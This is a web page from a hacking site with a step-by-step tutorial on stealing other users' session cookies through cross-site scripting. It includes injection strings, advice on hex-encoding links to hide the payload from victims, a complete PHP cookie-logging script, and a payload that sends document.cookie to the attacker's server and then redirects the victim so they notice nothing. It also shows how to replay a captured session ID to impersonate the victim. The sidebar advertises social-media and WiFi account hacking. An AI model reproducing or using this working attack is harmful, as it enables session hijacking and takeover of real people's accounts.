Welcome to HackeRoyale.

How To Steal Cookies With XSS ?! : Tutorial

In this tutorial, we will exploit the Cross Site Scripting (XSS) vulnerability for Cookie Stealing! I guess you already know a bit of the theory behind XSS, so we’ll get right to the code.

Read our previous tutorial on XSS Hack, to get a rough idea of it.

Let’s say a web page has a search function that uses this code:

Code:

Quote:

<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>

Note the quotes around our script. So what do we do? We need to end the value field before our script can actually be executed. So we tweak our test injection a bit:

Code:

Quote:

"><script>alert("test")</script>

This should close the quotes end the input section so that our script can be rendered as a part of the source instead of plain text. And now when we hit enter we get a nice pop-up box saying “test”, showing us our script was executed.

Keep in mind that you’re not actually writing this data to the server (unless you’re injecting it with a script that actually modifies the page on the server’s end also, like a guestbook or comment script), just changing how the dynamic page is acting on your end. If you want someone else to see what you see when you use this injection, you need to send them the link with that injection already in the page.

For example.

Code:

Quote:

http://www.site.com/search.php?q="><script>alert("test")</script>

Of course, if you don’t want the recipient to see the injection, you’ll need to hex the query. You can do that here.

Hexing the query of this url gives us

Code:

Quote:

http://www.site.com/search.php?q=%22...%74%22%29%3c%2 f%73%63%72%69%70%74%3e

The above is a very simple case of finding an XSS injection vulnerability. Some html and javascript knowledge is definitely helpful for finding more complicated ones, but code like the above works often enough.

Using XSS For Cookie Stealing

Cookie Stealing With XSS

OK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their ******* cookie. By modifying your ******* cookie, you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies?

The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file.

First you’ll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php):

Code:

Quote:

<?php

function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
$ip = $_SERVER['REMOTE_ADDR'];
else
$ip = "unknown";
return($ip);
}


function logData()
{
$ipLog="log.txt";
$cookie = $_SERVER['QUERY_STRING'];
$register_globals = (bool) ini_get('register_gobals');
if ($register_globals) $ip = getenv('REMOTE_ADDR');
else $ip = GetIP();


$rem_port = $_SERVER['REMOTE_PORT'];
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$rqst_method = $_SERVER['METHOD'];
$rem_host = $_SERVER['REMOTE_HOST'];
$referer = $_SERVER['HTTP_REFERER'];
$date=date ("l dS of F Y h:i:s A");
$log=fopen("$ipLog", "a+");


if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
else
fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
fclose($log);
}


logData();


?>

This script will record the cookies of every user that views it.

Next Step!

Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection:

Code:

Quote:

"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>

yoursite.com is the server you’re hosting your cookie stealer and log file on, and whateversite.com is the vulnerable page you’re exploiting. The above code redirects the viewer to your script, which records their cookie to your log file. It then redirects the viewer back to the unmodified search page so they don’t know anything happened. Note that this injection will only work properly if you aren’t actually modifying the page source on the server’s end. Otherwise the unmodified page will actually be the modified page and you’ll end up in an endless loop. While this is a working solution, we could eliminate this potential issue when using source-modifying injections by having the user click a link that redirects them to our stealer:

Code:

Quote:

logData();
?>

to this:

Code:

logData();

echo '<b>Page Under Construction</b>'
?>

Now when you open log.txt, you should see something like this:

Code:

Quote:

IP: 125.16.48.169 | PORT: 56840 | HOST: | Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 | METHOD: | REF: http://www.ifa.org.nz/search.php |
DATE: Tuesday 21st 2017f April 2017 05:04:07 PM | COOKIE: cookie=PHPSESSID=889c6594db2541db1666cefca7537373

You will most likely see many other fields besides PHPSESSID, but this one is good enough for this example. Now remember how to edit cookies like I showed you earlier? Open up firebug and add/modify all your cookie’s fields to match the data from the cookie in your log file and refresh the page. The server thinks you’re the user you stole the cookie from. This way you can log into accounts and many other things without even needing to know the passwords or usernames.

Winding Up Altogether!

1. Test the page to make sure it’s vulnerable to XSS injections.

2. Once you know it’s vulnerable, upload the cookie stealer php file and log file to your server.

3. Insert the injection into the page via the url or text box.

4. Grab the link of that page with your exploited search query (if injection is not stored on the server’s copy of the page).

5. Get someone to use that link if necessary.

6. Check your log file for their cookie.

7. Modify your own cookie to match the captured one and refresh the page

Tags:
Android anonymity bug cmd commands dark web ddos deep web DNS encryption facebook fbhacks footprinting ftp Hack hacker Hacking info gathering kalilinux keyloggers links malware metasploit password payload phishing proxy root safety sniffing Social Engineering sql tools tor tutorials vpn vulnerability web-hacking wifi-hacking windows wireless hacking wireshark xposed xposed framework xposed modules

SIGN UP FOR OUR MAILING LIST!

Facebook
Twitter
LinkedIn
featured posts
PUBG Mobile Hack, aimbot, wallhack and other cheat codes [2018]

PUBG MOBILE Hack, Aimbot, Wallhack and other cheat codes (2022)

How To Hack Instagram Account Password Account

How Your Instagram Account Password Can Be Hacked - [The Ultimate Guide 2022]

hack facebook account password online

Top 5 Ways Your Facebook Account Password Can Be Hacked Online : 2022

Shadowave apk - hack fb id by sending link

Shadowave : Your Facebook ID Can Be Hacked By Sending Link

Deep Web Links

Deep Web Onion Links Grand List 2019 [8000+ Uncategorized Links]

Termux Hacks Guide [2018] : Tutorial, Commands List, Tools, Apk, Uses, Packages

Termux Hacks Guide [2022] : Tutorial, Commands List, Tools, Apk, Uses, Packages

free netflix accounts passwords hacks

How Hackers Get Netflix for Free – Netflix Account & Password Hacks [2022]

hack facebook account password using phishing

How Anomor Can Be Used To Hack Your Facebook Account – Tutorial [Part 1]

How To Hack Any Facebook Account Using Kali Linux: Tutorial

How Facebook Can Be Hacked Using Kali Linux Brute Force – Working Method [2019]

How To Hack WiFi Password On Android with/Without Root? : 2018

How Your WiFi Password Can Be Hacked On Android with/Without Root? : 2022

Your Website Can Be Hacked Using Android Without Root (SQLMAP Tutorial & Installation)

How To Hack Twitter Account Password Without Them Knowing [Tutorial 2018]

How Twitter Account Owners’ Passwords Get Hacked Without Them Knowing [Tutorial 2019]

categories

ABOUT US

HackeRoyale is a web site by and for hackers and security leaders devoted to making the Internet a safer place. Complete with text, graphic, and video content, our goal is to inform, advise, and exploit for the aforementioned purposes.

CONTACT US

© Copyright 2022 | HackeRoyale | HackeRoyale.com | All Rights Reserved

SUBSCRIBE FOR UPDATES

Get weekly updates by subscribing to our newsletter.